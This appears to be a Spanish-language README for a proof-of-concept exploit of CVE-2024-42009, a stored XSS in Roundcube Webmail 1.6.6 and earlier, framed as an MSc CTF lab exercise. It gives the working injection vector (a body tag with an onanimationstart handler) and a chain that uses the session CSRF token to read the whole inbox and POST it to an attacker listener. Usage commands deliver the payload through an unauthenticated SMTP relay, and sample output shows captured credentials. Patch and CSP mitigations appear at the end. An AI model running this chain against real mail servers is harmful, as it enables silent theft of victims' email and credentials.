
Solo para pruebas de seguridad autorizadas, entornos CTF e investigación educativa.
Usar esta herramienta contra sistemas que no posees o para los que no tienes permiso por escrito es ilegal según la Computer Misuse Act 1990 (Reino Unido), la CFAA (EE. UU.) y leyes equivalentes en todo el mundo.
| Campo | Detalle |
|---|---|
| CVE | CVE-2024-42009 |
| Software afectado | Roundcube Webmail ≤ 1.6.6 |
| Versión parcheada | 1.6.7 / 1.6.8 |
| Puntuación CVSS v3.1 | 8.8 (Alta) |
| Vector CVSS | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — Neutralización incorrecta de la entrada durante la generación de páginas web (XSS) |
| Tipo de ataque | XSS almacenado → Exfiltración de correos sin necesidad de clics |
| Autenticación requerida | Ninguna (entrega por SMTP); Baja (la víctima debe abrir el correo) |
El saneador HTML de Roundcube 1.6.6 no elimina los manejadores de eventos JavaScript adjuntos a los keyframes de animaciones CSS dentro de un atributo malformado de la etiqueta <body>.
Vector de inyección:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">
Cuando la víctima abre el correo en su sesión autenticada de Roundcube, la animación CSS se dispara inmediatamente. El manejador onanimationstart se ejecuta con acceso completo al objeto JavaScript rcmail, incluido el request_token de la sesión.
Cadena de explotación:
1. Attacker sends malicious HTML email to victim via unauthenticated SMTP relay (port 25)
2. Victim opens email in Roundcube — animation fires, JS executes (zero clicks required)
3. JS reads rcmail.env.request_token (valid CSRF token for the session)
4. JS iterates all inbox UIDs via Roundcube's internal mail API
5. Each message is fetched and its content collected
6. All inbox data is POSTed as JSON to the attacker's HTTP listener
7. Attacker reads recovered emails — may contain credentials, session data, or sensitive communications
cve-2024-42009-roundcube-xss/
├── exploit.py # Sends the XSS payload via unauthenticated SMTP
├── listener.py # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html # Standalone XSS payload for manual inspection or Burp delivery
└── README.md
smtplib, http.server, json, argparse)python3 listener.py --port 8080
Salida cuando llegan datos:
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19
--- Email 1 ---
UID : 1
From : [email protected]
Subject : SSH Access Credentials
Body : Your credentials are: ...
El volcado JSON completo se guarda automáticamente en exfil_dump.json.
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Security Advisory - Action Required"
Cuando el correo se abra en Roundcube ≤ 1.6.6, el listener mostrará el contenido exfiltrado de la bandeja de entrada.
El purificador HTML de Roundcube es el encargado de eliminar los atributos peligrosos antes de renderizar el HTML de los correos entrantes. En las versiones ≤ 1.6.6, el purificador elimina correctamente onclick, onerror y otros manejadores similares, pero no elimina los manejadores de eventos de animación CSS (onanimationstart, onanimationend, onanimationiteration).
Debido a que las animaciones CSS se disparan como parte del renderizado (no por interacción del usuario), el manejador se ejecuta en el momento en que se abre el correo: sin clic en enlaces, sin ninguna acción del usuario más allá de abrir el mensaje.
El objeto JavaScript rcmail es accesible globalmente en todas las sesiones autenticadas de Roundcube. Expone rcmail.env.request_token, que es el token CSRF de la sesión. Combinado con los propios endpoints de la API de correo de Roundcube (?_task=mail&_action=list, ?_action=show), el payload puede leer la bandeja de entrada completa sin activar autenticación adicional.
| Versión | Estado |
|---|---|
| ≤ 1.6.6 | Vulnerable |
| 1.6.7 | Parcheada |
| 1.6.8 | Parcheada (recomendada) |
| 1.5.x LTS | Consultar el aviso del proveedor |
| Acción | Detalle |
|---|---|
| Actualización | Roundcube 1.6.8 o posterior parchea esta clase de XSS |
| Cabecera CSP | Implementar Content-Security-Policy: default-src 'self'; script-src 'self' en el vhost del webmail para bloquear la ejecución de JS en línea |
Este PoC fue desarrollado y probado como parte de una evaluación de pruebas de penetración tipo Boot-to-Root CTF en el módulo Ethical Hacking and Penetration Testing, MSc en Ciberseguridad, Universidad de Coventry (2025–2026). Todas las pruebas se realizaron en un entorno de laboratorio aislado con VMware y con autorización explícita por escrito.
Autor: Segun Akinsoyinu
Portafolio: segunakinsoyinu.github.io/MyPortfolio
Este código se publica únicamente con fines educativos y de investigación de seguridad autorizada. El autor no acepta ninguna responsabilidad por su mal uso. Antes de utilizar esta herramienta, confirma que dispones de autorización explícita por escrito para probar el sistema objetivo.
| Argumento | Descripción |
|---|
--smtp | IP o nombre de host del servidor SMTP objetivo |
--port | Puerto SMTP (por defecto: 25) |
--from | Dirección del remitente (cualquier valor aceptado por el relé) |
--to | Dirección de correo de la víctima |
--attacker | Tu IP: se incrusta en el payload como recopilador de exfiltración |
--lport | Puerto de tu listener (por defecto: 8080) |
--subject | Línea de asunto del correo |
| Relé SMTP | Deshabilitar el relé no autenticado en el puerto 25: exigir AUTH para toda entrega interna |